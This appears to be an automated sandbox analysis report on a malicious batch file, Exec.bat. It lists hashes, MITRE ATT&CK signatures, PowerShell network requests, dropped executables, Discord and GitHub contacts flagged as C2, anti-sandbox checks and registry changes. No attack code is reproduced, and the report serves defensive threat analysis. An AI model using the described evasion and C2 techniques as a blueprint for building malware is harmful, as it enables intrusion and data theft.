b486515f3bee8f2636c1b7fa25ea8e94a1fda4e4026bbafd8b9562efda29bb3d

Analysis

user interaction
yes
max time kernel
288s
max time network
402s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
30/10/2026, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Exec.bat
Size 1KB
Sample261030-dca65sdb34
SHA256 b486515f3bee8f2636c1b7fa25ea8e94a1fda4e4026bbafd8b9562efda29bb3d
MD5 ce06add128c6ed3a9b98509ce5cc2749
SHA1 400b97c656f37d68ae328622481d8d187ccef2d3
SHA512 477230c44af672549cb606f709dfa1ab0b855ea988d923dd31398679ab79a5930bbc439450639c809c628ee4a97e017813704541b13f06c019886c6738f0ed7c
TLSH
T1493165673E4837681B2AE854AA5901A4E317429F0318FD9D75F2B1787C2438A81DF2CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence privilege_escalation ransomware spyware trojan

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 1176 created 600	1176	powershell.exe	5

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2092	powershell.exe
14	4148	powershell.exe
16	4148	powershell.exe
18	4148	powershell.exe
276	4148	powershell.exe
277	1176	powershell.exe
327	1176	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2092	powershell.exe
4148	powershell.exe
1176	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
277	1176	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\Control Panel\International\Geo\Nation	SystemInformer.exe

Executes dropped EXE 14 IoCs

pid	Process
4364	WinCache.exe
5516	WinCache.exe
5448	WinCache.exe
6072	WinCache.exe
6040	SystemInformer.exe
4572	SystemInformer.exe
5752	WinCache.exe
4108	WinCache.exe
6892	WinCache.exe
5880	WinCache.exe
5148	WinCache.exe
5296	WinCache.exe
6192	WinCache.exe
4428	WinCache.exe

Loads dropped DLL 22 IoCs

pid	Process
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
6040	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe
4572	SystemInformer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
275	discord.com
276	discord.com
277	raw.githubusercontent.com
327	discord.com
414	discord.com
415	discord.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	SystemInformer.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	SystemInformer.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1176 set thread context of 1924	1176	powershell.exe	124

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1280	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SystemInformer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SystemInformer.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 42 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	SystemInformer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SystemInformer.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SystemInformer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	SystemInformer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Explorer.EXE

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0\MRUListEx = ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\NodeSlot = "3"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\1	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 50003100000000002b5d81b5100041646d696e003c0009000400efbe2b5d3aad5e5d72162e000000f305010000000200000000000000000000000000000037130101410064006d0069006e00000014000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0 = 84003100000000005e5db7161100444f574e4c4f7e3100006c0009000400efbe2b5d3aad5e5db7162e000000fb0501000000020000000000000000004200000000005b6df10044006f0077006e006c006f00610064007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370039003800000018000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0 = 50003100000000005e5dc016100061726d3634003c0009000400efbe5e5dc0165e5dc0162e00000067860200000007000000000000000000000000000000e2343200610072006d0036003400000014000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0\NodeSlot = "4"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\DisplayName = "Chrome Sandbox"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\1 = 50003100000000005e5dc0161000616d643634003c0009000400efbe5e5dbd165e5dc0162e00000037860200000007000000000000000000000000000000ec90b00061006d00640036003400000014000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0 = 8e003100000000005e5dc016100053595354454d7e312e3133380000720009000400efbe5e5dbd165e5dc0162e00000071810200000010000000000000000000000000000000c31b9b00730079007300740065006d0069006e0066006f0072006d00650072002d0034002e0030002e00320036003200340031002e003100330038002d00620069006e0000001c000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\Children	firefox.exe
